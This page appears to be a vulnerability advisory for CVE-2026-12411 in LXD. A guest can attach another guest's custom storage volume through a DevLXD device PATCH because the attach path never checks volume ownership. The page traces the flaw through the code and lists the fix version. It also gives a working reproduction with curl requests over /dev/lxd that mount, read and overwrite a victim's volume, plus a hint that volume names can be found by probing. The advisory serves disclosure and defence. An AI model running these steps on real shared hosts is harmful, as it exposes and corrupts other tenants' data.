GITHUB.COM/CANONICAL/LXD · CVE-2026-12411 · Infrastructure
FIX → 0.0.0-20260626085133-7cb96ac80a6d · 6.9
LXD's DevLXD device-update path lets one guest attach a custom storage volume owned by another guest in the same project by naming it in a disk device PATCH. The attacker then reads and overwrites that tenant's volume data.
first public Jun 26, 2026 · 2 sources
Check it with your coding agent
It checks your repository and tells you if you’re affected, with the fix.
Hosts running LXD that let untrusted guests use DevLXD with security.devlxd.management.volumes enabled, in a project that holds custom storage volumes belonging to other guests. A single-tenant host, or one where DevLXD volume management is off, is not exposed by this path.
Not affected if default-config, devlxd-volume-management-disabled, single-tenant
Who cares cwe-639, cwe-862, linux-containers, lxd, self-hosted
lxc --version on the LXD host and compare against the fixed Go module pseudo-version 0.0.0-20260626085133-7cb96ac80a6d.security.devlxd.management.volumes to true, for example with on the project or instance.A guest can mount another guest's custom storage volume over /dev/lxd and read or write its contents without owning it. The DevLXD storage API blocks access to volumes you don't own, but the instance device-update path that attaches a volume to a container without checks ownership. Any guest in a project with security.devlxd.management.volumes enabled can attach a volume belonging to a different guest by naming it in a device PATCH, giving one tenant full read and write access to another tenant's volume data.
Volumes created over DevLXD get volatile.devlxd.owner set to the calling identity. The storage handlers enforce it on GET/PUT/DELETE (isDevLXDVolumeOwner, lxd/devlxd_storage.go:359) and on volume-copy sources (devlxd_storage.go:286). The device-attach path does not.
devLXDInstancePatchHandler () passes the guest's device map to (). For a device that isn't already on the instance, the only check is :
Are you affected?
Tell InfraStack what you run. It checks this one, and every next one, against your stack.
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
lxc config showUpgrade to 0.0.0-20260626085133-7cb96ac80a6d · 6.9
0.0.0-20260626085133-7cb96ac80a6d (the fixed version listed in the advisory data).generateDevLXDInstanceDevicesisDeviceAccessible(device)if (exists && !isOwned) || (!isDeviceAccessible(device))
exists is false for a newly added device, so isDeviceAccessible is the whole gate. It resolves to newDevLXDDeviceAccessValidator (devlxd_instances.go:250), which is diskDeviceAllowed && filters.IsCustomVolumeDisk(device). IsCustomVolumeDisk (lxd/device/filters/disk.go:28) checks the device shape only: type=disk, non-empty source, non-empty pool. It never loads the (pool, source) volume or compares its owner to the caller.
The handler then sets volatile.<dev>.devlxd.owner to the caller and issues an in-process PATCH to instancePatch (lxd/instance_patch.go:55). That call skips the HTTP access handler and runs only project quota checks (limits.AllowInstanceUpdate, instance_patch.go:215) before c.Update. The disk device's validateConfig confirms the volume exists but does no ownership or RBAC check. A guest can therefore point a new disk device at any custom volume in its project and LXD mounts it. The recorded device owner becomes the attacker while the volume's volatile.devlxd.owner still names the victim.
Built from source at HEAD d29ece6284 (reports as 6.8, API extension devlxd_volume_management); single host, dir pool, default project.
Host setup, two guests with separate DevLXD identities, each scoped to edit only its own instance:
lxc launch images:alpine/edge guesta -c security.devlxd=true -c security.devlxd.management.volumes=true
lxc launch images:alpine/edge guestb -c security.devlxd=true -c security.devlxd.management.volumes=true
lxc exec guesta -- apk add --no-cache curl ; lxc exec guestb -- apk add --no-cache curl
for g in a b; do
lxc auth identity create devlxd/id$g
lxc auth group create g$g
lxc auth group permission add g$g project default can_view
lxc auth group permission add g$g project default can_view_storage_volumes
lxc auth group permission add g$g project default can_create_storage_volumes
lxc auth group permission add g$g instance guest$g can_view project=default
lxc auth group permission add g$g instance guest$g can_edit project=default
lxc auth identity group add devlxd/id$g g$g
done
TOKEN_A=$(lxc auth identity token issue devlxd/ida --quiet)
TOKEN_B=$(lxc auth identity token issue devlxd/idb --quiet)
With devlxd defined as lxc exec <c> -- curl --unix-socket /dev/lxd/sock -H "Authorization: Bearer <tok>" ...:
devlxd guesta $TOKEN_A POST /1.0/storage-pools/default/volumes/custom '{"name":"vola","type":"custom","config":{}}'
devlxd guesta $TOKEN_A PATCH /1.0/instances/guesta '{"devices":{"mine":{"type":"disk","pool":"default","source":"vola","path":"/mnt/mine"}}}'
lxc exec guesta -- sh -c 'echo TOP-SECRET-OWNED-BY-A > /mnt/mine/secret.txt'
devlxd guesta $TOKEN_A PATCH /1.0/instances/guesta '{"devices":{"mine":null}}'
devlxd guestb $TOKEN_B GET /1.0/storage-pools/default/volumes/custom/vola # HTTP 404
devlxd guestb $TOKEN_B PATCH /1.0/instances/guestb '{"devices":{"stolen":{"type":"disk","pool":"default","source":"vola","path":"/mnt/stolen"}}}' # HTTP 200
lxc exec guestb -- cat /mnt/stolen/secret.txt
lxc exec guestb -- sh -c 'echo PWNED-BY-B > /mnt/stolen/b_was_here.txt'
lxc storage volume get default vola volatile.devlxd.owner returns guesta's identity; lxc config device get guestb stolen source returns vola.
Broken access control across tenants. It affects operators running untrusted guests in a shared LXD project with security.devlxd.management.volumes enabled. Any such guest can read and overwrite every custom volume owned by the other guests in that project. The attacker needs only a normal DevLXD identity scoped to its own instance, and the victim does nothing. Volume names that aren't already known can be recovered by probing, since an attachable volume returns 200 and a missing one returns a not-found error.
This page as .md · .json · CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.